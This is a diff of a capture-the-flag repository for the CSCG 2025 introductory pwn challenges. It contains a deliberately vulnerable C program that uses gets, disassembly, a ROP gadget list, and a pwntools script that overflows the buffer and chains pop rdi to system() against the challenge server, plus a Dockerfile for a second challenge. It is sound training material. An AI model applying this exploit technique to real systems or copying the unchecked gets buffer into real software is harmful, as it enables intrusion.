dingdong

cscg25/pwn/intro1/Makefile

@@ -5,4 +5,4 @@ intro-pwn: intro-pwn.c
 	$(CC) $(CFLAGS) -o intro-pwn intro-pwn.c
 
 clean:
-	rm -f intro-pwn
+	rm -f intro-pwn

cscg25/pwn/intro1/dump

@@ -0,0 +1,202 @@
+
+intro-pwn:     file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+0000000000401000 <_init>:
+  401000:	48 83 ec 08          	sub    rsp,0x8
+  401004:	48 8b 05 d5 2f 00 00 	mov    rax,QWORD PTR [rip+0x2fd5]        # 403fe0 <__gmon_start__@Base>
+  40100b:	48 85 c0             	test   rax,rax
+  40100e:	74 02                	je     401012 <_init+0x12>
+  401010:	ff d0                	call   rax
+  401012:	48 83 c4 08          	add    rsp,0x8
+  401016:	c3                   	ret    
+
+Disassembly of section .plt:
+
+0000000000401020 <puts@plt-0x10>:
+  401020:	ff 35 ca 2f 00 00    	push   QWORD PTR [rip+0x2fca]        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
+  401026:	ff 25 cc 2f 00 00    	jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
+  40102c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401030 <puts@plt>:
+  401030:	ff 25 ca 2f 00 00    	jmp    QWORD PTR [rip+0x2fca]        # 404000 <puts@GLIBC_2.2.5>
+  401036:	68 00 00 00 00       	push   0x0
+  40103b:	e9 e0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401040 <system@plt>:
+  401040:	ff 25 c2 2f 00 00    	jmp    QWORD PTR [rip+0x2fc2]        # 404008 <system@GLIBC_2.2.5>
+  401046:	68 01 00 00 00       	push   0x1
+  40104b:	e9 d0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401050 <printf@plt>:
+  401050:	ff 25 ba 2f 00 00    	jmp    QWORD PTR [rip+0x2fba]        # 404010 <printf@GLIBC_2.2.5>
+  401056:	68 02 00 00 00       	push   0x2
+  40105b:	e9 c0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401060 <gets@plt>:
+  401060:	ff 25 b2 2f 00 00    	jmp    QWORD PTR [rip+0x2fb2]        # 404018 <gets@GLIBC_2.2.5>
+  401066:	68 03 00 00 00       	push   0x3
+  40106b:	e9 b0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401070 <setvbuf@plt>:
+  401070:	ff 25 aa 2f 00 00    	jmp    QWORD PTR [rip+0x2faa]        # 404020 <setvbuf@GLIBC_2.2.5>
+  401076:	68 04 00 00 00       	push   0x4
+  40107b:	e9 a0 ff ff ff       	jmp    401020 <_init+0x20>
+
+Disassembly of section .text:
+
+0000000000401080 <_start>:
+  401080:	31 ed                	xor    ebp,ebp
+  401082:	49 89 d1             	mov    r9,rdx
+  401085:	5e                   	pop    rsi
+  401086:	48 89 e2             	mov    rdx,rsp
+  401089:	48 83 e4 f0          	and    rsp,0xfffffffffffffff0
+  40108d:	50                   	push   rax
+  40108e:	54                   	push   rsp
+  40108f:	45 31 c0             	xor    r8d,r8d
+  401092:	31 c9                	xor    ecx,ecx
+  401094:	48 c7 c7 23 12 40 00 	mov    rdi,0x401223
+  40109b:	ff 15 37 2f 00 00    	call   QWORD PTR [rip+0x2f37]        # 403fd8 <__libc_start_main@GLIBC_2.34>
+  4010a1:	f4                   	hlt    
+  4010a2:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+  4010a9:	00 00 00 
+  4010ac:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+00000000004010b0 <_dl_relocate_static_pie>:
+  4010b0:	c3                   	ret    
+  4010b1:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+  4010b8:	00 00 00 
+  4010bb:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
+
+00000000004010c0 <deregister_tm_clones>:
+  4010c0:	b8 38 40 40 00       	mov    eax,0x404038
+  4010c5:	48 3d 38 40 40 00    	cmp    rax,0x404038
+  4010cb:	74 13                	je     4010e0 <deregister_tm_clones+0x20>
+  4010cd:	b8 00 00 00 00       	mov    eax,0x0
+  4010d2:	48 85 c0             	test   rax,rax
+  4010d5:	74 09                	je     4010e0 <deregister_tm_clones+0x20>
+  4010d7:	bf 38 40 40 00       	mov    edi,0x404038
+  4010dc:	ff e0                	jmp    rax
+  4010de:	66 90                	xchg   ax,ax
+  4010e0:	c3                   	ret    
+  4010e1:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  4010e8:	00 00 00 00 
+  4010ec:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+00000000004010f0 <register_tm_clones>:
+  4010f0:	be 38 40 40 00       	mov    esi,0x404038
+  4010f5:	48 81 ee 38 40 40 00 	sub    rsi,0x404038
+  4010fc:	48 89 f0             	mov    rax,rsi
+  4010ff:	48 c1 ee 3f          	shr    rsi,0x3f
+  401103:	48 c1 f8 03          	sar    rax,0x3
+  401107:	48 01 c6             	add    rsi,rax
+  40110a:	48 d1 fe             	sar    rsi,1
+  40110d:	74 11                	je     401120 <register_tm_clones+0x30>
+  40110f:	b8 00 00 00 00       	mov    eax,0x0
+  401114:	48 85 c0             	test   rax,rax
+  401117:	74 07                	je     401120 <register_tm_clones+0x30>
+  401119:	bf 38 40 40 00       	mov    edi,0x404038
+  40111e:	ff e0                	jmp    rax
+  401120:	c3                   	ret    
+  401121:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  401128:	00 00 00 00 
+  40112c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401130 <__do_global_dtors_aux>:
+  401130:	f3 0f 1e fa          	endbr64 
+  401134:	80 3d 2d 2f 00 00 00 	cmp    BYTE PTR [rip+0x2f2d],0x0        # 404068 <completed.0>
+  40113b:	75 13                	jne    401150 <__do_global_dtors_aux+0x20>
+  40113d:	55                   	push   rbp
+  40113e:	48 89 e5             	mov    rbp,rsp
+  401141:	e8 7a ff ff ff       	call   4010c0 <deregister_tm_clones>
+  401146:	c6 05 1b 2f 00 00 01 	mov    BYTE PTR [rip+0x2f1b],0x1        # 404068 <completed.0>
+  40114d:	5d                   	pop    rbp
+  40114e:	c3                   	ret    
+  40114f:	90                   	nop
+  401150:	c3                   	ret    
+  401151:	66 66 2e 0f 1f 84 00 	data16 cs nop WORD PTR [rax+rax*1+0x0]
+  401158:	00 00 00 00 
+  40115c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401160 <frame_dummy>:
+  401160:	f3 0f 1e fa          	endbr64 
+  401164:	eb 8a                	jmp    4010f0 <register_tm_clones>
+
+0000000000401166 <ignore_me_init_buffering>:
+  401166:	55                   	push   rbp
+  401167:	48 89 e5             	mov    rbp,rsp
+  40116a:	48 8b 05 cf 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ecf]        # 404040 <stdout@GLIBC_2.2.5>
+  401171:	b9 00 00 00 00       	mov    ecx,0x0
+  401176:	ba 02 00 00 00       	mov    edx,0x2
+  40117b:	be 00 00 00 00       	mov    esi,0x0
+  401180:	48 89 c7             	mov    rdi,rax
+  401183:	e8 e8 fe ff ff       	call   401070 <setvbuf@plt>
+  401188:	48 8b 05 c1 2e 00 00 	mov    rax,QWORD PTR [rip+0x2ec1]        # 404050 <stdin@GLIBC_2.2.5>
+  40118f:	b9 00 00 00 00       	mov    ecx,0x0
+  401194:	ba 02 00 00 00       	mov    edx,0x2
+  401199:	be 00 00 00 00       	mov    esi,0x0
+  40119e:	48 89 c7             	mov    rdi,rax
+  4011a1:	e8 ca fe ff ff       	call   401070 <setvbuf@plt>
+  4011a6:	48 8b 05 b3 2e 00 00 	mov    rax,QWORD PTR [rip+0x2eb3]        # 404060 <stderr@GLIBC_2.2.5>
+  4011ad:	b9 00 00 00 00       	mov    ecx,0x0
+  4011b2:	ba 02 00 00 00       	mov    edx,0x2
+  4011b7:	be 00 00 00 00       	mov    esi,0x0
+  4011bc:	48 89 c7             	mov    rdi,rax
+  4011bf:	e8 ac fe ff ff       	call   401070 <setvbuf@plt>
+  4011c4:	90                   	nop
+  4011c5:	5d                   	pop    rbp
+  4011c6:	c3                   	ret    
+
+00000000004011c7 <win>:
+  4011c7:	55                   	push   rbp
+  4011c8:	48 89 e5             	mov    rbp,rsp
+  4011cb:	48 8d 05 36 0e 00 00 	lea    rax,[rip+0xe36]        # 402008 <_IO_stdin_used+0x8>
+  4011d2:	48 89 c7             	mov    rdi,rax
+  4011d5:	e8 66 fe ff ff       	call   401040 <system@plt>
+  4011da:	90                   	nop
+  4011db:	5d                   	pop    rbp
+  4011dc:	c3                   	ret    
+
+00000000004011dd <vuln>:
+  4011dd:	55                   	push   rbp
+  4011de:	48 89 e5             	mov    rbp,rsp
+  4011e1:	48 83 ec 10          	sub    rsp,0x10
+  4011e5:	48 8d 05 36 0e 00 00 	lea    rax,[rip+0xe36]        # 402022 <_IO_stdin_used+0x22>
+  4011ec:	48 89 c7             	mov    rdi,rax
+  4011ef:	e8 3c fe ff ff       	call   401030 <puts@plt>
+  4011f4:	48 8d 45 f0          	lea    rax,[rbp-0x10]
+  4011f8:	48 89 c7             	mov    rdi,rax
+  4011fb:	e8 60 fe ff ff       	call   401060 <gets@plt>
+  401200:	48 8d 45 f0          	lea    rax,[rbp-0x10]
+  401204:	ba 5f c3 00 00       	mov    edx,0xc35f
+  401209:	48 89 c6             	mov    rsi,rax
+  40120c:	48 8d 05 25 0e 00 00 	lea    rax,[rip+0xe25]        # 402038 <_IO_stdin_used+0x38>
+  401213:	48 89 c7             	mov    rdi,rax
+  401216:	b8 00 00 00 00       	mov    eax,0x0
+  40121b:	e8 30 fe ff ff       	call   401050 <printf@plt>
+  401220:	90                   	nop
+  401221:	c9                   	leave  
+  401222:	c3                   	ret    
+
+0000000000401223 <main>:
+  401223:	55                   	push   rbp
+  401224:	48 89 e5             	mov    rbp,rsp
+  401227:	48 83 ec 10          	sub    rsp,0x10
+  40122b:	89 7d fc             	mov    DWORD PTR [rbp-0x4],edi
+  40122e:	48 89 75 f0          	mov    QWORD PTR [rbp-0x10],rsi
+  401232:	b8 00 00 00 00       	mov    eax,0x0
+  401237:	e8 2a ff ff ff       	call   401166 <ignore_me_init_buffering>
+  40123c:	b8 00 00 00 00       	mov    eax,0x0
+  401241:	e8 97 ff ff ff       	call   4011dd <vuln>
+  401246:	b8 00 00 00 00       	mov    eax,0x0
+  40124b:	c9                   	leave  
+  40124c:	c3                   	ret    
+
+Disassembly of section .fini:
+
+0000000000401250 <_fini>:
+  401250:	48 83 ec 08          	sub    rsp,0x8
+  401254:	48 83 c4 08          	add    rsp,0x8
+  401258:	c3                   	ret    

cscg25/pwn/intro1/exploit.py

@@ -0,0 +1,34 @@
+from pwn import *
+
+# Set the context for the binary
+context.binary = './intro-pwn'  # Replace with your binary's name
+
+# Choose local or remote
+LOCAL = False # Change to False if connecting remotely
+
+if LOCAL:
+    p = process(context.binary.path)
+else:
+    p = remote("a05e1cfb314bce1c87472c7e-1024-intro-pwn-1.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
+def send_payload(payload):
+    p.sendline(payload)
+
+def recv_until(delim):
+    return p.recvuntil(delim)
+
+def interact():
+    p.interactive()
+
+address = 0x4011c7
+system = 0x4011d5
+pop_rdi = 0x401205
+command_addr = 0x402010
+
+
+# Example interaction
+recv_until(b'What is your name?')
+payload = b'A' * 16  + b'\x00' * 8 + p64(pop_rdi) + p64(command_addr) + p64(system)# Adjust based on your needs
+send_payload(payload)
+
+interact()  # Keep the shell open
+

cscg25/pwn/intro1/intro-pwn.c

@@ -3,37 +3,31 @@
 
 // --------------------------------------------------- SETUP
 
-
-void ignore_me_init_buffering()
-{
-    setvbuf(stdout, NULL, _IONBF, 0);
-    setvbuf(stdin, NULL, _IONBF, 0);
-    setvbuf(stderr, NULL, _IONBF, 0);
+void ignore_me_init_buffering() {
+  setvbuf(stdout, NULL, _IONBF, 0);
+  setvbuf(stdin, NULL, _IONBF, 0);
+  setvbuf(stderr, NULL, _IONBF, 0);
 }
 
 // --------------------------------------------------- VULNERABLE FUNCTION
 
-void win()
-{
-    system("echo no cat /flag for you");
-}
+void win() { system("echo no cat /flag for you"); }
 
 void vuln() {
-    char name[16];
-    printf("What is your name?\n");
-    gets(name);
-    printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
+  char name[16];
+  printf("What is your name?\n");
+  gets(name);
+  printf("Hello %s!\nI have a present for you: %d\n", name, 0xc35f);
 }
 
 // --------------------------------------------------- MAIN
 
-int main(int argc, char **argv)
-{
-    (void)argc;
-    (void)argv;
+int main(int argc, char **argv) {
+  (void)argc;
+  (void)argv;
 
-	ignore_me_init_buffering();
+  ignore_me_init_buffering();
 
-    vuln();
-    return 0;
+  vuln();
+  return 0;
 }

cscg25/pwn/intro1/rop_gadgedts

@@ -0,0 +1,112 @@
+
+
+
+Gadgets
+=======
+
+
+0x0000000000401098: adc al, byte ptr [rax]; call qword ptr [rip + 0x2f37]; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x000000000040110e: adc dword ptr [rax], edi; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x000000000040109c: adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x00000000004010cc: adc edi, dword ptr [rax]; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x000000000040113c: adc edx, dword ptr [rbp + 0x48]; mov ebp, esp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x00000000004010a0: add ah, dh; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x000000000040109a: add bh, bh; adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x000000000040100a: add byte ptr [rax - 0x7b], cl; sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
+0x0000000000401217: add byte ptr [rax], al; add byte ptr [rax], al; call 0x1050; nop; leave; ret; 
+0x000000000040123d: add byte ptr [rax], al; add byte ptr [rax], al; call 0x11dd; mov eax, 0; leave; ret; 
+0x00000000004010a8: add byte ptr [rax], al; add byte ptr [rax], al; nop dword ptr [rax]; ret; 
+0x00000000004010ce: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401110: add byte ptr [rax], al; add byte ptr [rax], al; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x0000000000401247: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
+0x0000000000401248: add byte ptr [rax], al; add cl, cl; ret; 
+0x0000000000401219: add byte ptr [rax], al; call 0x1050; nop; leave; ret; 
+0x000000000040123f: add byte ptr [rax], al; call 0x11dd; mov eax, 0; leave; ret; 
+0x00000000004011d0: add byte ptr [rax], al; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011ba: add byte ptr [rax], al; mov rdi, rax; call 0x1070; nop; pop rbp; ret; 
+0x00000000004010aa: add byte ptr [rax], al; nop dword ptr [rax]; ret; 
+0x000000000040124e: add byte ptr [rax], al; sub rsp, 8; add rsp, 8; ret; 
+0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; 
+0x0000000000401009: add byte ptr [rax], al; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010d0: add byte ptr [rax], al; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401112: add byte ptr [rax], al; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x000000000040109f: add byte ptr [rax], al; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401249: add byte ptr [rax], al; leave; ret; 
+0x000000000040114b: add byte ptr [rcx], al; pop rbp; ret; 
+0x000000000040124a: add cl, cl; ret; 
+0x0000000000401099: add dil, dil; adc eax, 0x2f37; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401006: add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; 
+0x0000000000401006: add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004011cd: add eax, 0xe36; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x0000000000401013: add esp, 8; ret; 
+0x0000000000401012: add rsp, 8; ret; 
+0x00000000004011d5: call 0x1040; nop; pop rbp; ret; 
+0x000000000040121b: call 0x1050; nop; leave; ret; 
+0x00000000004011bf: call 0x1070; nop; pop rbp; ret; 
+0x0000000000401141: call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x0000000000401237: call 0x1166; mov eax, 0; call 0x11dd; mov eax, 0; leave; ret; 
+0x0000000000401241: call 0x11dd; mov eax, 0; leave; ret; 
+0x000000000040109b: call qword ptr [rip + 0x2f37]; hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401010: call rax; 
+0x0000000000401010: call rax; add rsp, 8; ret; 
+0x0000000000401002: in al, dx; or byte ptr [rax - 0x75], cl; add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; 
+0x000000000040100e: je 0x1012; call rax; 
+0x000000000040100e: je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010cb: je 0x10e0; mov eax, 0; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x00000000004010d5: je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x000000000040110d: je 0x1120; mov eax, 0; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x0000000000401117: je 0x1120; mov edi, 0x404038; jmp rax; 
+0x00000000004010dc: jmp rax; 
+0x00000000004011cc: lea eax, [rip + 0xe36]; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011cb: lea rax, [rip + 0xe36]; mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x0000000000401146: mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x0000000000401216: mov eax, 0; call 0x1050; nop; leave; ret; 
+0x000000000040123c: mov eax, 0; call 0x11dd; mov eax, 0; leave; ret; 
+0x00000000004010cd: mov eax, 0; test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x000000000040110f: mov eax, 0; test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x0000000000401246: mov eax, 0; leave; ret; 
+0x0000000000401005: mov eax, dword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x0000000000401005: mov eax, dword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x000000000040113f: mov ebp, esp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x00000000004010d7: mov edi, 0x404038; jmp rax; 
+0x00000000004011d3: mov edi, eax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011bd: mov edi, eax; call 0x1070; nop; pop rbp; ret; 
+0x0000000000401214: mov edi, eax; mov eax, 0; call 0x1050; nop; leave; ret; 
+0x0000000000401004: mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x0000000000401004: mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x000000000040113e: mov rbp, rsp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x00000000004011d2: mov rdi, rax; call 0x1040; nop; pop rbp; ret; 
+0x00000000004011bc: mov rdi, rax; call 0x1070; nop; pop rbp; ret; 
+0x0000000000401213: mov rdi, rax; mov eax, 0; call 0x1050; nop; leave; ret; 
+0x00000000004010a4: nop dword ptr [rax + rax]; nop dword ptr [rax]; ret; 
+0x00000000004010ac: nop dword ptr [rax]; ret; 
+0x00000000004010a3: nop dword ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x00000000004010a2: nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401003: or byte ptr [rax - 0x75], cl; add eax, 0x2fd5; test rax, rax; je 0x1012; call rax; 
+0x00000000004010d6: or dword ptr [rdi + 0x404038], edi; jmp rax; 
+0x000000000040114d: pop rbp; ret; 
+0x0000000000401205: pop rdi; ret; 
+0x000000000040113d: push rbp; mov rbp, rsp; call 0x10c0; mov byte ptr [rip + 0x2f1b], 1; pop rbp; ret; 
+0x0000000000401042: ret 0x2f; 
+0x000000000040100d: sal byte ptr [rdx + rax - 1], 0xd0; add rsp, 8; ret; 
+0x0000000000401251: sub esp, 8; add rsp, 8; ret; 
+0x0000000000401001: sub esp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x0000000000401250: sub rsp, 8; add rsp, 8; ret; 
+0x0000000000401000: sub rsp, 8; mov rax, qword ptr [rip + 0x2fd5]; test rax, rax; je 0x1012; call rax; 
+0x00000000004010a6: test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; nop dword ptr [rax]; ret; 
+0x000000000040100c: test eax, eax; je 0x1012; call rax; 
+0x000000000040100c: test eax, eax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010d3: test eax, eax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401115: test eax, eax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x000000000040100b: test rax, rax; je 0x1012; call rax; 
+0x000000000040100b: test rax, rax; je 0x1012; call rax; add rsp, 8; ret; 
+0x00000000004010d2: test rax, rax; je 0x10e0; mov edi, 0x404038; jmp rax; 
+0x0000000000401114: test rax, rax; je 0x1120; mov edi, 0x404038; jmp rax; 
+0x00000000004010a1: hlt; nop word ptr cs:[rax + rax]; nop dword ptr [rax]; ret; 
+0x0000000000401221: leave; ret; 
+0x00000000004011c4: nop; pop rbp; ret; 
+0x0000000000401220: nop; leave; ret; 
+0x00000000004010df: nop; ret; 
+0x0000000000401016: ret; 
+
+103 gadgets found

cscg25/pwn/intro2/Dockerfile

@@ -0,0 +1,55 @@
+FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
+
+ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
+    https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
+    /usr/local/bin/repro-sources-list.sh
+
+RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
+    /usr/local/bin/repro-sources-list.sh && \
+    apt-get update && \
+    DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
+        musl-dev \
+        musl-tools \
+        make \
+        xz-utils && \
+    rm -f /usr/local/bin/repro-sources-list.sh
+
+WORKDIR /work
+
+ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
+    https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
+    /work/ynetd-0.1.2.tar.xz
+
+RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
+
+FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
+
+ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
+    https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
+    /usr/local/bin/repro-sources-list.sh
+
+RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
+    /usr/local/bin/repro-sources-list.sh && \
+    apt-get update && \
+    DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
+        gcc libc-dev make && \
+    rm -f /usr/local/bin/repro-sources-list.sh
+
+WORKDIR /work
+
+COPY ./intro-fmt.c ./Makefile /work
+
+RUN make intro-fmt    
+RUN echo "13ee0bca90243810a56ea7678bd89871dd93e390ae0094a79e0f788ac4bc9da9  ./intro-fmt" | sha256sum -c
+
+
+FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
+
+COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
+
+COPY --from=challenge-builder /work/intro-fmt /intro-fmt
+COPY ./flag /flag
+
+EXPOSE 1024
+
+CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-fmt"]

cscg25/pwn/intro2/Makefile

@@ -0,0 +1,8 @@
+CC = gcc
+CFLAGS = -Wall -Wextra -g -std=c99 -g -no-pie
+
+intro-fmt: intro-fmt.c
+	$(CC) $(CFLAGS) -o intro-fmt intro-fmt.c
+
+clean:
+	rm -f intro-fmt

cscg25/pwn/intro2/dump

@@ -0,0 +1,224 @@
+
+intro-fmt:     file format elf64-x86-64
+
+
+Disassembly of section .init:
+
+0000000000401000 <_init>:
+  401000:	48 83 ec 08          	sub    rsp,0x8
+  401004:	48 8b 05 d5 2f 00 00 	mov    rax,QWORD PTR [rip+0x2fd5]        # 403fe0 <__gmon_start__@Base>
+  40100b:	48 85 c0             	test   rax,rax
+  40100e:	74 02                	je     401012 <_init+0x12>
+  401010:	ff d0                	call   rax
+  401012:	48 83 c4 08          	add    rsp,0x8
+  401016:	c3                   	ret    
+
+Disassembly of section .plt:
+
+0000000000401020 <puts@plt-0x10>:
+  401020:	ff 35 ca 2f 00 00    	push   QWORD PTR [rip+0x2fca]        # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
+  401026:	ff 25 cc 2f 00 00    	jmp    QWORD PTR [rip+0x2fcc]        # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
+  40102c:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+0000000000401030 <puts@plt>:
+  401030:	ff 25 ca 2f 00 00    	jmp    QWORD PTR [rip+0x2fca]        # 404000 <puts@GLIBC_2.2.5>
+  401036:	68 00 00 00 00       	push   0x0
+  40103b:	e9 e0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401040 <system@plt>:
+  401040:	ff 25 c2 2f 00 00    	jmp    QWORD PTR [rip+0x2fc2]        # 404008 <system@GLIBC_2.2.5>
+  401046:	68 01 00 00 00       	push   0x1
+  40104b:	e9 d0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401050 <printf@plt>:
+  401050:	ff 25 ba 2f 00 00    	jmp    QWORD PTR [rip+0x2fba]        # 404010 <printf@GLIBC_2.2.5>
+  401056:	68 02 00 00 00       	push   0x2
+  40105b:	e9 c0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401060 <read@plt>:
+  401060:	ff 25 b2 2f 00 00    	jmp    QWORD PTR [rip+0x2fb2]        # 404018 <read@GLIBC_2.2.5>
+  401066:	68 03 00 00 00       	push   0x3
+  40106b:	e9 b0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401070 <setvbuf@plt>:
+  401070:	ff 25 aa 2f 00 00    	jmp    QWORD PTR [rip+0x2faa]        # 404020 <setvbuf@GLIBC_2.2.5>
+  401076:	68 04 00 00 00       	push   0x4
+  40107b:	e9 a0 ff ff ff       	jmp    401020 <_init+0x20>
+
+0000000000401080 <exit@plt>:
+  401080:	ff 25 a2 2f 00 00    	jmp    QWORD PTR [rip+0x2fa2]        # 404028 <exit@GLIBC_2.2.5>
+  401086:	68 05 00 00 00       	push   0x5
+  40108b:	e9 90 ff ff ff       	jmp    401020 <_init+0x20>
+
+Disassembly of section .text:
+
+0000000000401090 <_start>:
+  401090:	31 ed                	xor    ebp,ebp
+  401092:	49 89 d1             	mov    r9,rdx
+  401095:	5e                   	pop    rsi
+  401096:	48 89 e2             	mov    rdx,rsp
+  401099:	48 83 e4 f0          	and    rsp,0xfffffffffffffff0
+  40109d:	50                   	push   rax
+  40109e:	54                   	push   rsp
+  40109f:	45 31 c0             	xor    r8d,r8d
+  4010a2:	31 c9                	xor    ecx,ecx
+  4010a4:	48 c7 c7 9d 12 40 00 	mov    rdi,0x40129d
+  4010ab:	ff 15 27 2f 00 00    	call   QWORD PTR [rip+0x2f27]        # 403fd8 <__libc_start_main@GLIBC_2.34>
+  4010b1:	f4                   	hlt    
+  4010b2:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+  4010b9:	00 00 00 
+  4010bc:	0f 1f 40 00          	nop    DWORD PTR [rax+0x0]
+
+00000000004010c0 <_dl_relocate_static_pie>:
+  4010c0:	c3                   	ret    
+  4010c1:	66 2e 0f 1f 84 00 00 	cs nop WORD PTR [rax+rax*1+0x0]
+  4010c8:	00 00 00 
+  4010cb:	0f 1f 44 00 00       	nop    DWORD PTR [rax+rax*1+0x0]
+
+00000000004010d0 <deregister_tm_clones>:
+  4010d0:	b8 40 40 40 00       	mov    eax,0x404040
+  4010d5:	48 3d 40 40 40 00    	cmp    rax,0x404040
+  4010db:	74 13                	je     4010f0 <deregister_tm_clones+0x20>
+  4010dd:	b8 00 00 00 00       	mov    eax,0x0
+  4010e2:	48 85 c0             	test   rax,rax
+  4010e5:	74 09                	je     4010f0 <deregister_tm_clones+0x20>
+  4010e7:	bf 40 40 40 00       	mov    edi,0x404040
